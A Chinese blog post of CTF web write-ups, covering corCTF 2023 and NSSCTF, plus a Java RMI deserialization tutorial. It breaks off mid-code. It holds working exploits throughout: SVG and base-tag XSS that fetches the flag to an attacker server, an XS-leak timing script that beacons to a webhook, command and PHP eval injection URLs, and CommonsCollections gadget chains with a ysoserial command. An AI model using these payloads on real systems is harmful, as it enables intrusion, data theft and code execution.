<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>
1
2
3
4
5
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>

<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>
<svg><foreignObject><![CDATA[</foreignObject><script>alert(2)</script>]]></svg>
<svg><title><![CDATA[</title><script>alert(3)</script>]]></svg>

但在 external-svg-loader 的官方文档中指出

SVG format supports scripting. However, for security reasons, svg-loader will strip all JS code before injecting the SVG file. You can enable it by:
SVG 格式支持脚本。但是,出于安全原因,svg-loader 将在注入 SVG 文件之前剥离所有 JS 代码。

因此第一个和第二个 payload 都无法使用,然而第二个payload里面有个有趣的东西<foreignObject></foreignObject>

<foreignObject> SVG 元素包含来自不同 XML 命名空间的元素。”。 这意味着 SVG 可以从其他命名空间加载附加标签(当然浏览器必须支持该命名空间)。 因此,可以通过 XHTML 命名空间在 SVG 中加载 HTML 标签。 通过指定 XHTML 命名空间,iframe 标记及其 srcdoc 属性再次可用。 现在,这允许在 iframe srcdoc 属性内包含一个脚本标签,该属性通过 data: 协议加载脚本。 由于通过 SVG use 标签加载的 SVG 文档被视为同源,尽管正在使用 data: 协议处理程序,但 iframe 及其 srcdoc 文档也被视为同源。

1
2
3
4
5
6
<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"  width="1000" height="1000">
<foreignObject width="100" height="50" requiredExtensions="http://www.w3.org/1999/xhtml">
<iframe xmlns="http://www.w3.org/1999/xhtml"
srcdoc="&lt;script
src='data:text/javascript,parent.postMessage(&quot;a&quot;, &quot;*&quot;)'
&gt;&lt;/script&gt;" /></foreignObject></svg>

该解决方案仅适用于Firefox,因为Google Chrome在SVG使用标签的上下文中不支持foreignObject标签。

Note: By default, external-svg-loader will cache the fetched files for 30 days. To refresh the cache, we can provide any GET parameter.
注意:默认情况下,外部 svg 加载器会将获取的文件缓存 30 天。要刷新缓存,我们可以提供任何 GET 参数。

这样还不完整,因为该程序中还存在 CSP (内容安全策略),我们需要绕过 CSP 来执行恶意 js 代码

在自己的共享青蛙页面Ctrl+U查看源码即可发现

1
<meta http-equiv="Content-Security-Policy" content="script-src &#x27;strict-dynamic&#x27; &#x27;sha256-S6RzhGqWeVNc7x9c5lIdmBeA7qDgLp3Z3agd3eBNMA8=&#x27;  &#x27;unsafe-inline&#x27; http: https:;" slug="/"/>

也就是

1
<meta http-equiv="Content-Security-Policy" content="script-src 'strict-dynamic' 'sha256-S6RzhGqWeVNc7x9c5lIdmBeA7qDgLp3Z3agd3eBNMA8='  'unsafe-inline' http: https:;" slug="/"/>

将CSP内容复制到CSP Evaluator里面,就可以获得两个高危发现

object-src

  • Missing object-src allows the injection of plugins which can execute JavaScript. Can you set it to ‘none’?

base-uri

  • Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to ‘none’ or ‘self’?

这里就可以滥用base-uri来执行Dangling Markup - HTML scriptless injection

此外,如果页面使用相对路径(如 /js/app.js )加载脚本,则可以滥用基本标记使其从您自己的服务器加载脚本,从而实现XSS。
如果易受攻击的页面加载了 httpS,请在基中使用 httpS URL。

1
<base href="https://www.attacker.com/">

在自己的共享青蛙页面F12查看元素可以发现导入了/_next/static/chunks/pages/index-3228b8a1fcea6589.js,所以我们可以通过 SVG 注入一个 <base> 标签,并让这个 JavaScript 文件从我们可控的 Web 服务器导入,有点类似dll劫持了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
from flask import Flask, send_file
from flask_cors import CORS

app = Flask(__name__)

# Access-Control-Allow-Origin: *
CORS(app)

@app.route('/payload')
def serveSvgPayload():
svgPayloadFile = 'payload.svg'
return send_file(svgPayloadFile)

@app.route('/_next/static/chunks/pages/index-3228b8a1fcea6589.js')
def abuseBaseSrc():
javaScriptFile = 'payload.js'
return send_file(javaScriptFile)

if __name__ == '__main__':
app.run(port=80, debug=True)

在 adminbot.js 里面可以看到flag的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import secrets from './secrets';

const username = "admin";
const { flag, password } = secrets;

export default {
id: 'frogshare',
name: 'frogshare',
timeout: 20000,
handler: async (url, ctx) => {
const page = await ctx.newPage();
await page.goto("https://frogshare.be.ax/login", { waitUntil: 'load' });

await page.evaluate((flag) => {
localStorage.setItem("flag", flag);
}, flag);

await page.type("input[name=username]", username);
await page.type("input[name=password]", password);
await Promise.all([
page.waitForNavigation(),
page.click("input[type=submit]")
]);
/* No idea why the f this is required :| */
await page.goto("https://frogshare.be.ax/frogs?wtf=nextjs", { timeout: 5000, waitUntil: 'networkidle0' });
await page.waitForTimeout(2000);
await page.goto(url, { timeout: 5000, waitUntil: 'networkidle0' });
await page.waitForTimeout(5000);
},
}

那么 payload.js 内容为fetch('https://<your_server>/flag?c='+localStorage.getItem('flag'));

但共享青蛙页面必须刷新才能触发 JavaScript 执行,于是需要修改恶意 svg 内容,两秒后会重定向到指定恶意页面

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>

<foreignObject>
<base href="https://www.attacker.com">
<meta http-equiv="refresh" content="2;url=https://frogshare.be.ax/frogs/59">
</foreignObject>
</svg>

修改共享青蛙 svg 为我们恶意服务器即可从服务器日志中获取到corctf{M1nd_Th3_Pr0p_spR34d1ng_XSS_ThR34t}

参考链接:https://siunam321.github.io/ctf/corCTF-2023/web/frogshare/

crabspace | 4 solves / 436 points

Now that Twitter is 🦀 gone 🦀, it’s time for a new social media platform.

🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀

待完善…

leakynote | 3 solves / 458 points

Yet another note taking application…

HINT: the flag format for this chall is corctf{[a-z]+}

下载源码后在 nginx.conf 配置文件中找到 CSP 策略的配置

1
add_header Content-Security-Policy "script-src 'none'; object-src 'none'; frame-ancestors 'none';";

查阅官方文档

Adds the specified field to a response header provided that the response code equals 200, 201 (1.3.10), 204, 206, 301, 302, 303, 304, 307 (1.1.16, 1.0.13), or 308 (1.13.0). The value can contain variables.

There could be several add_header directives. These directives are inherited from the previous level if and only if there are no add_header directives defined on the current level.

If the always parameter is specified (1.7.5), the header field will be added regardless of the response code.

也就是说只有响应码为200,201等时add_header 指令才生效,只有设置了always参数,则无论响应代码如何,都会添加标头字段。

而在 search.php 中有这段代码

1
2
3
4
5
6
7
8
9
if (isset($_GET["query"]) && is_string($_GET["query"])) {
$stmt = $db->prepare("SELECT * FROM posts WHERE username=? AND contents LIKE ?");
$stmt->execute([$_SESSION["user"], "%" . $_GET["query"] . "%"]);
$posts = $stmt->fetchAll();

if (count($posts) == 0) {
http_response_code(404);
}
}

由于add_header没有设置always参数,因此如果 count($posts) != 0 => 200 状态 => 则启用 CSP,如果 count($posts) == 0 => 404 状态 => 则禁用 CSP。这样对不同查询结果就会表现出差异性,从而可以猜测信息,所谓XS-Leaks漏洞。

在 db.php 中可以找到 flag 的位置

1
2
3
4
5
6
7
8
9
10
if (!$user) {
// initialize admin user
$admin_password = getenv("ADMIN_PASSWORD") ?: "admin_password";
$hash = password_hash($admin_password, PASSWORD_BCRYPT);
$stmt = $db->prepare("INSERT INTO users (username, password) VALUES (?, ?)");
$stmt->execute(["admin", $hash]);
// initialize flag post
$stmt = $db->prepare("INSERT INTO posts (username, id, title, contents) VALUES (?, ?, ?, ?)");
$stmt->execute(["admin", bin2hex(random_bytes(8)), "flag", getenv("FLAG") ?: "corctf{test_flag}"]);
}

也就是 flag 在 admin 用户 post 的标题为 flag 的 content 中,但我们不知道 admin 用户的密码,对数据库操作都做了预处理防范 SQL 注入,那么就只能让 admin 用户透露给我们信息了,这里也就是adminbot,所以需要找到 XSS 的控制点。

在所有的页面都会加载以下 CSS 文件,包括iframe加载的页面

1
2
<link rel="stylesheet" href="/assets/normalize.css" />
<link rel="stylesheet" href="/assets/milligram.css" />

在 post.php 中,content 内容没有经过htmlspecialchars()转义为HTML实体,输入的内容将原封不动输出到页面中,只是因为CSP的存在无法加载 js 代码

1
2
3
4
5
6
7
8
<div class="container">
<h1>leakynote</h1>
<hr />
<h3><?php echo htmlspecialchars($post["title"]) ?></h3>
<div id="contents"><?php echo $post["contents"]; ?></div>
<hr />
<a href="/">Back</a>
</div>

这样,如果管理员机器人打开以下帖子:

1
<iframe src="/search.php?query=corctf{a">

如果 flag 包含 corctf{a =>则 iframe 被 CSP 阻止 => 则在打开页面后不会加载 CSS 文件。如果 flag 不包含 corctf{a =>则 iframe 不会被 CSP 阻止 =>则在打开页面后加载 CSS 文件。加载CSS文件和不加载花费的时间肯定时不一样的,如果打开许多的帖子页面,那么这种差异性就会更明显,从而可以泄露出flag内容。

实际操作过程如下:

首先批量创建恶意帖子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# filename: make_posts.py
# usage: python make_posts.py <prefix>
# example: python make_posts.py "corctf{leakrgo"

import httpx
import string
import random
import sys
import re

BASE_URL = "https://leakynote.be.ax"
CHARS = "}abcdefghijklmnopqrstuvwxyz"

prefix = sys.argv[1]
print(f"{prefix = }")

username = "".join(random.choices(string.ascii_letters, k=8))
password = "".join(random.choices(string.ascii_letters, k=8))

client = httpx.Client()

res = client.post(
f"{BASE_URL}/register.php",
data={
"name": username,
"pass": password,
},
)
assert res.status_code == 302

for c in CHARS:
query = "".join([f"&#{ord(x)};" for x in (prefix + c)[-6:]])
contents = f'<iframe src="/search.php?query={query}">'
assert len(contents) <= 100
res = client.post(
BASE_URL,
data={
"title": "a",
"contents": contents,
},
)
assert res.status_code == 200

res = client.get(BASE_URL)
ids = re.findall(r"<a href='/post\.php\?id=([0-9a-f]+)'>", res.text)
print(f"const TARGET_IDS = {ids};")

然后让 adminbot 请求这些帖子,并记录加载时间,这里就得通过可控服务器上用 js 记录,将结果发送到指定服务器

1
2
3
4
5
6
<!DOCTYPE html>
<html>
<body>
<script src="main.js"></script>
</body>
</html>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
const BASE_URL = "https://leakynote.be.ax";

const HOOK_URL = "https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxxxxxxxxxx";

const RESOURCE_URLS = [
`${BASE_URL}/assets/normalize.css`,
`${BASE_URL}/assets/milligram.css`,
];

const CHARS = "}abcdefghijklmnopqrstuvwxyz";
const TARGET_IDS = [
"054df3428619e625",
"65cc5405dc8564fe",
"1b7d45634e27c873",
"e29642c2832547df",
"2d2d3cde1c8d7364",
"3a698bdc7a5f3211",
"2211714f4295a0d4",
"b2731895c908a7ea",
"ef351ad9299d2549",
"25afaf7e395a0fbc",
"88793de3d0858540",
"f771b89bca721df6",
"36e96ab2f0cb2d80",
"66c3dc231da04d05",
"9074846e39521d35",
"170a2b9ab4640814",
"86f4efd489ad6a03",
"f6ee33af12dc5326",
"b2b1e00655eccc83",
"f305085f9fc390e7",
"e40fbeb6bf596a8a",
"6f86900c87d72a81",
"55a5a41d390df24b",
"c8e4b6abf8f818d4",
"3f95bf8920a5fe33",
"3d5d90d50f382a76",
"08db4102b0147e35",
];
const START_I = 0;

const TRY_NUM = 3;
const WIN_NUM = 10;

const sleep = (ms) => new Promise((r) => setTimeout(r, ms));

const wait = (w) =>
new Promise(async (resolve) => {
while (true) {
try {
w.document;
} catch {
resolve();
break;
}
await sleep(30);
}
});

const measureOne = async (url) => {
const firstW = open(url);
await wait(firstW);

const ws = [];
for (let i = 0; i < WIN_NUM; i++) {
ws.push(open(url));
}
await Promise.all(ws.map((w) => wait(w)));

let start = performance.now();
await Promise.all(
RESOURCE_URLS.map((u) =>
fetch(u, {
mode: "no-cors",
})
)
);
const end = performance.now();

for (const w of ws) {
w.close();
}
firstW.close();

return end - start;
};

const measure = async (url) => {
let avg = 0;
for (let i = 0; i < TRY_NUM; i++) {
const t = await measureOne(url);
avg += t;
}
avg /= TRY_NUM;
return avg;
};

const leakOne = async (id) => {
const url = `${BASE_URL}/post.php?id=${id}`;
return await measure(url);
};

const leak = async () => {
await leakOne(TARGET_IDS[0]);
await sleep(1500);

let minT = 100000000;
let minC;
for (let i = START_I; i < CHARS.length; i++) {
const c = CHARS[i];
const t = await leakOne(TARGET_IDS[i]);
if (t < minT) {
minT = t;
minC = c;
}
navigator.sendBeacon(
HOOK_URL,
JSON.stringify({ START_I, i, c, t, minC, minT })
);
await sleep(1500);
}
return minC;
};

const main = async () => {
const nextC = await leak();
navigator.sendBeacon(HOOK_URL + "/leak", nextC);
};
main();

i, c, t, minC, 和 minT 是用于跟踪和记录泄漏数据过程中的相关信息:

  • i: 是一个整数,表示迭代过程中的当前字符在 CHARS 字符串中的索引。
  • c: 是一个字符,表示当前迭代的字符。
  • t: 是一个数字,表示泄漏数据的过程中,从服务器获取资源所花费的时间(以毫秒为单位)。
  • minC: 是一个字符,表示迄今为止泄漏数据过程中,获取资源时间最短的字符。
  • minT: 是一个数字,表示迄今为止泄漏数据过程中,获取资源时间最短的时间(以毫秒为单位)。

这些变量主要用于在迭代过程中记录并比较不同字符的资源获取时间,从而找到资源获取时间最短的字符。然后,这些信息被封装为一个 JSON 对象,并通过 navigator.sendBeacon 方法发送到指定的 Webhook URL,用于进一步处理或记录。

1
{"START_I":0,"i":9,"c":"i","t":301.433333337307,"minC":"d","minT":138.63333334525427}

这里用时最少的就是字符d,因此corctf{leakrgo的下一位就是字符d,以此类推

最终得到corctf{leakrgod}

参考链接:https://gist.github.com/arkark/3afdc92d959dfc11c674db5a00d94c09

NSSCTFRound#13 Web

解题量4/6 排名4

flask?jwt?

考察session伪造

登录框直接随手注册一个用户,然后登录进去康康什么情况,我这里随手注册了一个叫aa的用户

点击”拿flag”会提示你不是admin,也就是需要伪造成admin用户,也就需要SECRET_KEY

这里也就几个功能点,瞎点几下发现忘记密码这里输入它主页的邮箱就可以在注释中拿到SECRET_KEY

然后解密后伪造一手即可

1
2
3
python flask_session_en_de.py decode -s “th3f1askisfunny” -c "你的session"

python flask_session_en_de.py encode -s “th3f1askisfunny” -t "{'_fresh': True, '_id': '467f4f5c63e6e8a448a19e62209c978fc29daa8bb6701721cbbac3085a95acf074c076705bae29d241f2434d9204f2cc6aef23086435265efb63c3955500518d', '_user_id': '1'}"

携带session访问/getFlag即可

ez_factors

题目描述:原生 Linux 因数爆破工具。flag在根目录

首先进入页面,点击Tool进入/factors/114514

题目描述说是原生 Linux 因数爆破工具,那就预测一手这道题考察命令执行,这就和常见的ping有点相似了

直接换行符(%0a)执行命令,但似乎没那么简单,ls没回显,咋回事,cat /etc/passwd再康康

记得这里/要url编码,不然会产生歧义嗷

这里明显是执行了的,因为格式和/etc/passwd是相同的,那难道只会回显数字吗,那我就编个码读/flag

这里就用od命令,它默认以8进制读取文件,也就是得到的全是数字,爽诶

1
/factors/114514%0aod%20%2fflag

但这还没结束,得到的flag内容长这样

1
2
3
4
0000000 051516 041523 043124 032573 033461 031146 032144 026467
0000020 033467 061543 032055 031471 026466 034471 030471 063055
0000040 030066 034066 061543 032061 030141 076544 000012
0000055

急急急,怎么复原内容呢,一顿搜索没啥结果,最后墨迹了好久发现参数-b输出结果会好复原很多,只拿了二血,坏

1
/factors/114514%0aod%20-b%20%2fflag
1
2
3
4
0000000 116 123 123 103 124 106 173 065 061 067 146 062 144 064 067 055
0000020 067 067 143 143 055 064 071 063 066 055 071 071 071 061 055 146
0000040 066 060 066 070 143 143 061 064 141 060 144 175 012
0000055

最后扔进赛博厨子得到flag

MyWeb

题目描述:试试我的JSON解析工具。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧

if ($_GET['mode'] == 'save') {
$data = file_get_contents('/tmp/data.json');
$value = addslashes($_GET['value']);
$data = str_replace(']', ", '$value']", $data);
file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
$data = file_get_contents('/tmp/data.json');
eval('$data = ' . $data . ';');
print_r($data);
} else {
highlight_file(__FILE__);
}

这里审计一手代码,就是一个save和read的过程,我们要想eval的东西是我们想执行的,那就必须破坏它的结构,那就复制下来在本地测试测试,怎么才能闭合原有结构,让危险代码逃逸

最后借鉴sql注入那套思路,闭合加注释,成功执行任意代码

1
/?mode=save&value=]//%0a;<your_php_code>;//

但是还有个要注意的点,addslashes()函数会转义预定义字符,也就是单双引号那几个,那么执行的代码也不能有这些东西,所以要用到无参数命令执行

1
/?mode=save&value=]//%0a;print_r(getenv());//

然后?mode=read就能获取环境变量里的flag

flask?jwt?(hard)

这道题和第一题差不多,但是SECRET_KEY藏起来了

首先在注册登录后注释中有提示

1
<!-- 我der密钥去哪里了,哦!源来氏被 /wor 藏起来了 -->

访问/wor路由给出了上次的登录时间,然后就卡住了,急急急,找了半天让后台报错康康有没有debug模式泄露源码的地方,最后在session中获得灵感

可以看到base64解码后看到了进入时的提示语句,嘶,这里的登陆时间该不会也是在session中获取的吧,那就登录后访问/wor路由,然后随手删除一坨(不带session访问也会报错)让它在获取登录时间时报错

然后得到SECRET_KEY

然后伪造即可

1
python flask_session_en_de.py encode -s "hardgam3_C0u1d_u_f1ndM3????" -t "{'_fresh': True,'_user_id': '1'}"

携带session访问/getFlag即可获取flag

Java安全之RMI反序列化

RMI

RPC(Remote Procedure Call)远程过程调用,它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。RPC的诞生起源于分布式的使用,最开始的系统都是在一台服务器上,这样本地调用本无问题。但随着网络爆炸式的增长,单台服务器已然不满足需求,出现了分布式,接口和实现类分别放到了两个服务器上,怎么调用呢?JVM不同,内存地址不同,不可能直接访问调用。由于 RPC 的使用还是过于麻烦,Java RMI 便由此产生。

RMI(Remote Method Invocation),即 Java 远程方法调用,它是一种机制,能够让在某个 Java 虚拟机上的对象调用另一个 Java 虚拟机中的对象上的方法,可以像调用本地 JAVA 对象的方法一样调用远程对象的方法,使分布在不同的 JVM 中的对象的外表和行为都像本地对象一样。可以用此方法调用的任何对象必须实现该远程接口。

它可以帮助我们跨站调用信息,也可以避免重复造轮子

RMI运行过程

首先写一个简单的RMI demo:

  1. 定义客户端和服务端共享的接口

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    package Test;

    import java.rmi.Remote;
    import java.rmi.RemoteException;

    // 使用的接口必须继承或实现java.rmi.Remote,只有被Remote标识的接口内方法才可以被远程调用
    public interface Hello extends Remote{
    // 接口内的每个方法都要声明抛出java.rmi.RemoteException异常
    String sayHello(String name) throws RemoteException;
    }
  2. 然后写这个接口的实现类

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    package Test.server;

    import Test.Hello;

    import java.rmi.RemoteException;
    import java.rmi.server.UnicastRemoteObject;

    // 接口实现类应直接或间接继承java.rmi.server.UnicastRemoteObject类
    public class HelloImpl extends UnicastRemoteObject implements Hello {
    // serialVersionUID属性必须存在且需要和客户端一致才可进行反序列化,否则会报错,此属性如果是默认的话是可以被计算的
    private static final long serialVersionID = 1L;
    // // 必须有一个显式的构造函数,并且要抛出一个RemoteException异常
    protected HelloImpl() throws RemoteException {
    super();
    }

    public String sayHello(String name) {
    return "Hello " + name + "!";
    }
    }

    远程对象必须继承java.rmi.server.UniCastRemoteObject类,这样才能保证客户端访问获得远程对象时,该远程对象将会通过JRMP导出远程对象把自身的一个拷贝以Socket的形式传输给客户端,此时客户端所获得的这个拷贝称为**“存根”(Stub)**,而服务器端本身已存在的远程对象则称之为“骨架”(skeleton)。

  3. 接着就可以写服务端

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    package Test.server;

    import Test.Hello;

    import java.rmi.Naming;
    import java.rmi.registry.LocateRegistry;

    public class HelloServer {
    public static void main(String[] args) throws Exception {
    // 生成Stub和skeleton,并返回Stub代理引用
    Hello hello = new HelloImpl();
    // 创建并启动RMI Service,并绑定端口,这里选择RMI默认端口1099
    LocateRegistry.createRegistry(1099);
    // 将Stub代理引用绑定到Registry服务的url上,不必知道服务端实例化的名称是什么
    Naming.rebind("rmi://localhost:1099/hello", hello);
    System.out.println("Hello Server is working, listening on port 1099...");
    }
    }

    这个类的作用就是注册远程对象,向客户端提供远程对象服务。将远程对象注册到RMI Service之后,客户端就可以通过RMI Service请求到该远程服务对象的stub了,利用stub代理就可以访问远程服务对象了

  4. 接着继续编写客户端

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    package Test.client;

    import Test.Hello;

    import java.rmi.Naming;

    public class HelloClient {
    public static void main(String[] args) throws Exception{
    // 从RMI Registry中请求Stub获取远程对象
    Hello hello = (Hello) Naming.lookup("rmi://localhost:1099/hello");
    // 通过Stub调用远程接口,在服务端调用,在客户端输出
    System.out.println(hello.sayHello("ph0ebus"));
    }
    }

先启动服务端,再启动客户端即可看到正常回显Hello ph0ebus!,RMI通信过程就如下图所示,图片来自p神

RMI反序列化攻击

对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使其将这个对象按任何一个存在于class path中的可序列化类来反序列化。因此对于三者(客户端、服务端和注册中心),他们可以互相攻击,以此产生了六种攻击方向。

服务端与客户端攻击注册中心

在低版本的 JDK 中,Server 与 Registry 是可以不在一台服务器上的,在 Server 与 Registery 分离的时候对Registry攻击可以再拿下 Registery 的机器

服务端和客户端攻击注册中心的方式是相同的,都是远程获取注册中心后传递一个恶意对象进行利用

与注册中心交互的方式有:list()bind()rebind()unbindlookup()

bind() & rebind()

远程调用bind()绑定服务时,注册中心会对接收到的序列化的对象进行反序列化。所以,我们只需要传入一个恶意的继承Remote类的对象即可,这里用cc1链示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class HackRegistry {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "ph0ebus");

Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// AnnotationInvocationHandler类的对象,必须要转为Remote类的对象
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
Remote proxyObject = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, handler);

LocateRegistry.createRegistry(1099);
Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1099);
registry_remote.bind("HelloRegistry", proxyObject);
System.out.println("rmi start at 1099");
}
}

这里用到了动态代理的知识,proxyObject被反序列化时会进入到AnnotationInvocationHandler类中的invoke方法从而触发漏洞链。除了bind()操作之外,rebind()也可以这样利用。但是lookupunbind只有一个String类型的参数,不能直接传递一个对象反序列化。得寻找其他的方式。

unbind & lookup

unbind的利用方式跟lookup是一样的,这里以lookup()为例,注册中心在处理请求时,是直接进行反序列化再进行类型转换为String类型,因为这里只能传输字符串,所以要想办法控制发送过去的值成为一个对象,这里就得模拟原来的lookup()修改代码使其可以传入obj

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class HackRegistry {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "ph0ebus");

Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// AnnotationInvocationHandler类的对象,必须要转为Remote类的对象
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
Remote proxyObject = (Remote) Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[]{Remote.class}, handler);

LocateRegistry.createRegistry(1099);
Registry registry_remote = LocateRegistry.getRegistry("127.0.0.1", 1099);

// 获取super.ref
Field[] fields_0 = registry_remote.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry_remote);

// 获取operations
Field[] fields_1 = registry_remote.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry_remote);

// 跟lookup方法一样的传值过程
RemoteCall var2 = ref.newCall((RemoteObject) registry_remote, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(proxyObject);
ref.invoke(var2);

registry_remote.lookup("HelloRegistry");
System.out.println("rmi start at 1099");
}
}

注册中心攻击客户端和服务端

客户端和服务端与注册中心的参数交互都是把数据序列化和反序列化来进行的,过程中肯定也是存在一个对注册中心返回的数据的反序列化的处理,这样就存在反序列化漏洞,用ysoserial生成一个恶意的注册中心,当调用注册中心的方法时,就可以进行恶意利用

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'

客户端访问

1
2
3
4
5
6
7
8
9
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.list(); // bind(),rebind(),unbind(),lookup()
}
}

客户端攻击服务端

如果远程对象接收一个对象作为参数,那么就可以传递一个恶意对象进行漏洞利用,以cc1链为例

1
2
3
4
5
6
7
8
9
// Interface
package RMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Hacker extends Remote {
public void hacked(Object object)throws RemoteException;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// Client
package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class HackServer {
public static void main(String[] args) throws Exception{
Hacker hacker = (Hacker)Naming.lookup("rmi://localhost:1099/hack");
hacker.hacked(getHackObject());
}
